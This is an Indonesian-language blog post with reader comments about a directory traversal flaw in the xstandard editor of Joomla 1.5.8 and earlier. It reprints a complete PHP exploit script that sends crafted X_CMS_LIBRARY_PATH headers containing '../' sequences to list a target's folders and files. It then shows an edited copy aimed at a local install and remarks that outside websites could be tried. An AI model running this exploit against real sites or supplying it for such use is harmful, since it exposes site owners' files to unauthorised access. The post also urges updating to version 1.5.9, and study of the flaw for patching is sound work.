High Security Risk Joomla, Directory Traversal

Berita ini mungkin sudah basi, sudah sekitar 2 hari sejak Team Joomla mengeluarkan peringatan untuk mengupdate Joomla versi 1.5.8 ke versi 1.5.9 (tepatnya tanggal 10 January). Memang tanggal 07 January 2009 di situs kesayangan saya sudah diberitakan hal tersebut. Dalam berita tersebut dikatakan bahwa “Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability”, Joomla versi dibawah dari 1.5.8 dan versi 1.5.8 tersebut pada modul xstandard terdapat celah sehingga dapat dimungkinkan orang luar melihat isi dari direktori yang ada pada web korban. Sungguh sangat disayangkan pada saat itu saya sedang mempersiapkan ujian sehingga tidak dapat berexplorasi lebih lanjut,hahaha

Oke walaupun sudah banyak website yang meng-update versi joomlanya, tapi saya akan bahas tuntas tentang vulnerable yang satu ini. Pertama saya akan berikan source asli dari advisory(si penemu celah ini).

<?php

/*

Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal

Vulnerability

discovered by: irk4z[at]yahoo.pl

greets: all friends ;)

*/

echo “* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal

Vulnn”;

echo “* discovered by: irk4z[at]yahoo.pln”;

echo “*n”;

echo “* greets: all friends ;) enjoy!n”;

echo

“*——————————————————————*n”;

$host = $argv[1];

$path = $argv[2];

$folder = $argv[3];

if (empty($host) || empty($path)) {

echo “usage: php {$argv[0]} <host> <path> [<folder>]n”;

echo ” php {$argv[0]} example.org /joomlan”;

echo ” php {$argv[0]} example.org /joomla ../../n”;

exit;

}

echo “http://” . $host . $path . “/images/stories/nn”;

if ( empty($folder) ){

$lev = “./”;

for( $i = 0; $i <= 7; $i++ ) {

echo browseFolder($host, $path, $lev);

$lev .= “../”;

}

} else {

echo browseFolder($host, $path, $folder);

}

function browseFolder($host, $path, $folder){

$packet = “GET {$path}/plugins/editors/xstandard/attachmentlibrary.php

HTTP/1.1rn”;

$packet .= “Host: {$host}rn”;

$packet .= “X_CMS_LIBRARY_PATH: {$folder}rn”;

$packet .= “Connection: Closernrn”;

$o = @fsockopen($host, 80);

if(!$o){

echo “n[x] No response…n”;

die;

}

fputs($o, $packet);

while (!feof($o)) $data .= fread($o, 1024);

fclose($o);

$_404 = strstr( $data, “HTTP/1.1 404 Not Found” );

if ( !empty($_404) ){

echo “n[x] 404 Not Found… Maybe wrong path? n”;

die;

}

//folders

preg_match_all(”/<baseURL>([^<]+)</baseURL>/”, $data, $matches);

//files

preg_match_all(”/<value>([^<]+.[^<]{3,4})</value>/”, $data, $matches2);

$matches = array_merge( $matches[1], $matches2[1] );

if ( empty($matches) ){

$ret = “$folder [x] Failed…n”;

} else {

$ret = ”;

foreach( $matches as $tmp){

$ret .= str_replace(”images/stories/”, ”, str_replace(”/./”, “/”,

str_replace(”//”, “/”, urldecode($tmp) ) ) ) . “n”;

}

}

return ($ret);

}

?>

Mungkin anda sudah sangat muak melihat bahasa PHP tersebut, tetapi ternyata tidak semua bagian harus kita ubah agar proses “Local Directory Traversal” dapat berjalan. Saya hanya akan mengubah beberapa bagian seperti dibawah ini (yang digaris tebal merupakan yang saya ubah)

<?php

/*

Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal

Vulnerability

discovered by: irk4z[at]yahoo.pl

greets: all friends ;)

*/

echo “* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal

Vulnn”;

echo “* discovered by: irk4z[at]yahoo.pln”;

echo “*n”;

echo “* greets: all friends ;) enjoy!n”;

echo

“*——————————————————————*n”;

$host = “localhost“;

$path = “/joomlah/Joomla_1.5.5-Stable-Full_Package“;

$folder = “apa saja“;

Pada bagian $host merupakan alamat website yang ingin dilihat, disini saya menggunakan localhost (tentunya anda bisa mencobanya website diluar sana, saya menggunakan localhost karena keterbatasan waktu) Kemudian $path merupakan bagian jalur atau tambahan yang ada di website korban (misalnya: william.web.id/iniadalahpath/ ) dan $folder mungkin berguna untuk menentukan folder mana yang ingin dilihat sebagai ganti dari website yang tidak terdapat “path”, karena saya menggunakan path maka saya dapat memasukkan kata apa saja dan tidak banyak pengaruhnya (CMIIW). Oke tanpa basa basi kita lihat hasilnya:

joomla-local-directory

Terlihat isi dari file-file dimana letak direktorinya adalah http://localhost/joomlah/Joomla_1.5.5-Stable-Full_Package//images/stories/… Yang secara standarnya digunakan untuk menyimpan file-file gambar dan media pada para pengguna Joomla. Apakah hanya folder images/stories saja yang bisa terlihat?? Dalam percobaan singkat yang saya lakukan memang hanya folder images/stories saja yang bisa dilihat. Mungkin anda dapat memberitahu saya apabila ada folder lain yang dapat dilihat. Oiya,,,celah ini hanya akan menampilkan susunan folder dan file yang disimpan dalam images/stories. Tapi tentu saja dengan mengetahui nama filenya kita dapat mendownload file-file yang ditampilkan dalam list yang ada.

Celah ini dikategorikan “high” oleh Team Joomla dan saya sependapat dikarenakan menampilkan suatu folder yang semestinya tidak ditampilkan dapat berakibat fatal dan dapat dilakukan exploitasi lebih lanjut.

Related posts

Comments (7)

kenJanuary 13th, 2009 at 7:13 am

ceileh wewe skarang jadi pengamat website neh? mantab,,,sukses ye, gw tunggu artikel berikutnya

w2vx3rJanuary 13th, 2009 at 8:45 am

weleh2,, sapa neh pake nama aneh sgala,cuakaka,,oce dah,,sukses juga ya

pengemisJanuary 13th, 2009 at 7:37 pm

oooo…gitu ya..hmm…nice artikel

makasi infonya william

w2vx3rJanuary 13th, 2009 at 8:29 pm

@pengemis
ini juga gara-gara om,hahaha,,, bis baca di blognya om jadinya penasaran tujuh kesumbat,,,yaaa trus nyari2 dah info,,,
eh iseng-iseng karena sebel ngeliat php codingnya, asal masukin aja, eh jalan,hahaha

hanumJanuary 17th, 2009 at 10:36 am

wooow… that’s great info. Thx bro. Nanti tak patch deh joomlanya ke 1.5.9 ^__^

Gunadarma University
http://gunadarma.ac.id

gtheJanuary 17th, 2009 at 11:17 pm

makin mantab aja nih security skill nya willy

sukses deh,,,,

w2vx3rJanuary 18th, 2009 at 1:59 pm

@hanum
waaah update segera, tapi jangan sampai salah update,hehhe

@gthe
ini sih cuman copas dari situs aslinya,hehehe
masih harus terus belajar,huaaa mata sakit liat monitor mulu,hahaha

Leave a comment

Your comment